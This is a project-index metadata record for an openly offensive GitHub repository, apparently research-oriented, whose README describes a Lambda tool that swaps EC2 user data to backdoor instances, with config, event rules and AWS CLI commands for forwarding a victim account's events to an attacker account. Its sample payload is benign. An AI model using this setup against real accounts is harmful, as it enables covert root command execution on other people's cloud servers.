{"id":13757397,"url":"https://github.com/RyanJarv/marionette","last_synced_at":"2025-05-10T05:32:06.879Z","repository":{"id":82488885,"uuid":"379495627","full_name":"RyanJarv/marionette","owner":"RyanJarv","description":"Example of how an attacker might swap user data temporarily to execute arbitrary commands","archived":false,"fork":false,"pushed_at":"2022-01-09T07:42:23.000Z","size":89,"stargazers_count":4,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-07-24T03:11:56.063Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RyanJarv.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2021-06-23T06:00:16.000Z","updated_at":"2024-01-02T10:31:35.000Z","dependencies_parsed_at":null,"dependency_job_id":"7aa13e2a-6d23-4bd8-8c96-c02e72f60a6a","html_url":"https://github.com/RyanJarv/marionette","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RyanJarv%2Fmarionette","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RyanJarv%2Fmarionette/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RyanJarv%2Fmarionette/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RyanJarv%2Fmarionette/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RyanJarv","download_url":"https://codeload.github.com/RyanJarv/marionette/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":213011260,"owners_count":15524057,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T12:00:36.429Z","updated_at":"2024-08-03T12:01:24.671Z","avatar_url":"https://github.com/RyanJarv.png","language":"Python","funding_links":[],"categories":["Other Awesome Lists"],"sub_categories":["Offensive Security"],"readme":"# Marionett\n\nMarionett is an example of an automated lambda function that runs and swaps out user data on EC2 event machine events. It is\nan example of how an attacker could semi-covertly backdoor EC2 instances passively on instance change events or actively on\ncreation. The API calls will stand out, but from the user's perspective, when in passive mode, there will be no obvious changes\nto the instance. In active mode the instance is simply taking longer to start up, active mode requires less actions on the behalf\nof the victim, but may cause issues with certain\nprovisioning tools. This is a well known attack, only change to what I've seen elsewhere is adding Event Bridge and Lambda.\n\nIn general this is an improved version of [UserDataSwap](https://github.com/RyanJarv/UserDataSwap).\n\n## Active vs Passive\n\nMarionett can run in either active or passive mode, passive is generally safer and less likely to interfere with\ninfrastructure provisioning however requires the instance to be shutdown through some other means, likely by the end\nuser. When running in the active mode Marionett will shut down the node shortly after it is initially created with\nthe RunInstances API. By default this is immediately however can be configured to wait up to 900 seconds after creation\nto work around issues that you may run into with provisioning tools.\n\n## Config\nThe config is located at `chalicelib/config.yaml` and should be edited before deploy.\n### Options\n* dynamodb_table\n  * Name of the DynamoDB table to create to track instance state.\n* sqs_queue\n  * Name of the SQSQueue table to create to queue restart events when using active mode.\n* active_mode\n  * `True` or `False`, enables active mode.\n* restart_delay\n  * Used when active_mode is set to `True`. \n  * Number of seconds to wait after the RunInstances API is called before restarting the instance.\n    * To work around terraform SSH provisioning complaining about an incorrect instance state this can be set to 9. \n      However, this is only useful if an Elastic IP or IPv6 address is used to connect to the instance, otherwise the\n      IP will change on restart and SSH provisioning will fail.\n    * To work around terraform SSH provisioning when an ElasticIP address is not used you can set this to a higher number\n      to have it wait till provisioning is complete before restarting. Essentially this needs to be a best guess since\n      we don't have any indication when this may finish.\n* user_data\n  * The user data we want to set on the instance temporarily.\n  * This will get reverted to the original metadata at the next instance stopped event.\n  * `bootcmd` will run at every startup as root, regardless of if cloud-init has run previously.\n\n### Default Settings\n```\n---\ndynamodb_table: UserDataSwap\nsqs_queue: user-data-swap-restart-delay\nactive_mode: False\nrestart_delay: 0\nuser_data: |-\n#cloud-config\n\nbootcmd:\n- echo HELLO FROM USER DATA SCRIPT | tee /msg \u003e /dev/kmsg\n```\n\n## Cross-Account Access\n\nThere is a fair amount of permissions required to deploy this, which is ok if you just want to test it out. To be useful\nit may make more sense to deploy in a seperate account then the one you're targeting, this way the initial set up only\nrequires `events:PutRule` and `events:PutTargets` permissions in the victim account. I'll likely add support for this in\nthe future, for now you can try the following to do this manually.\n\n__WARNING__: This will allow any AWS account to run any action against the bus set up in the Marionett account,\nprobably best to set this part up in a account that isn't used for anything else. The permissive resource policy is one\nof the ways to get override the lack of permissions assigned to the the put-event rule in the victim account. Doing it\nthis way avoids the need for `iam:PassRole` permissions in the victim account to create the event bus rules that forward\nthe events to the Marionette account. It may be possible to reduce these permissions, I need to do more testing here\nthough.\n\n* In the Marionett account:\n  * In the Marionett lambda account create a new event bus named `run-instance-trigger` and give it the following\n    resource policy.\n    ```\n    {\n      \"Version\": \"2012-10-17\",\n      \"Statement\": [{\n        \"Sid\": \"allow_account_to_put_events\",\n        \"Effect\": \"Allow\",\n        \"Principal\": \"*\",\n        \"Action\": \"*\",\n        \"Resource\": \"\u003cthis event bus arn\u003e\"\n      }]\n    }\n    ```\n  * Set up the following rule to trigger the Marionett function with the event config below.\n     ```\n      {\n        \"source\": [\"aws.ec2\"],\n        \"detail-type\": [\"EC2 Instance State-change Notification\"],\n        \"detail\": {\n          \"state\": [\"stopped\"]\n        }\n      }\n     ```\n  * If active mode is used add a second rule with the following.\n     ```\n     {\n       \"source\": [\"aws.ec2\"],\n       \"detail\": {\n         \"eventSource\": [\"ec2.amazonaws.com\"],\n         \"eventName\": [\"RunInstances\"]\n       }\n     }\n     ```\n* In the victim account:\n  * Create the run-instances event trigger:\n    ```\n    aws --profile victim-account events put-rule \\\n      --name run-instance-trigger \\\n      --state ENABLED \\\n      --event-bus-name default \\\n      --event-pattern '{\n          \"source\": [\"aws.ec2\"],\n          \"detail\": {      \n            \"eventSource\": [\"ec2.amazonaws.com\"],\n            \"eventName\": [\"RunInstances\"]\n          }\n        }'\n    ```\n  * Add a target to forward to the event-bus in the Marionett account:\n    ```\n    aws events put-targets --rule run-instance-trigger \\\n      --event-bus-name default \\\n      --targets \"Id\"=\"1\",\"Arn\"=\"arn:aws:events:\u003cregion\u003e:\u003cattacker account #\u003e:event-bus/run-instance-trigger\"\n    ```\n* You should see Marionett triggered when a instance is created in the victim account now.\n  * Update the lambda to hard code the credentials needed to make EC2 related calls in the vicitims account and deploy.\n\n## More Info\n\nFor more info you can see my post on [Backdooring user data](https://blog.ryanjarv.sh/2020/11/27/backdooring-user-data.html)\n\n## Related Attacks\n\nFor another similar attack (Update: AWS now prevents this in most accounts) with different pros/cons take a look at \n[EC2FakeIMDS](https://github.com/RyanJarv/EC2FakeImds). The talk and slides going over these two can be found on\n[my blog](https://blog.ryanjarv.sh/2020/12/04/deja-vu-in-the-cloud.html).\n\n## Requirements\n\n* AWS CLI already configured with Administrator permission for the deployment account (which isn't necessarily the\n  targeted account, see the Cross Account section for more info).\n* Recent version of [Python](https://www.python.org/)\n* [Chalice](https://github.com/aws/chalice)\n* [AWS CLI](https://pypi.org/project/awscli/)\n\n## Setup process\n\n### Installing dependencies \u0026 building the target \n\n```shell\npython3 -m venv venv\nsource venv/bin/activate\npip install chalice boto3\n```\n\n## Deployment\n\n```bash\nmake deploy/infra\n```\n\n## Wish List\n* Target individual instances or tags\n\n### Testing\n\nTODO\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRyanJarv%2Fmarionette","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FRyanJarv%2Fmarionette","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRyanJarv%2Fmarionette/lists"}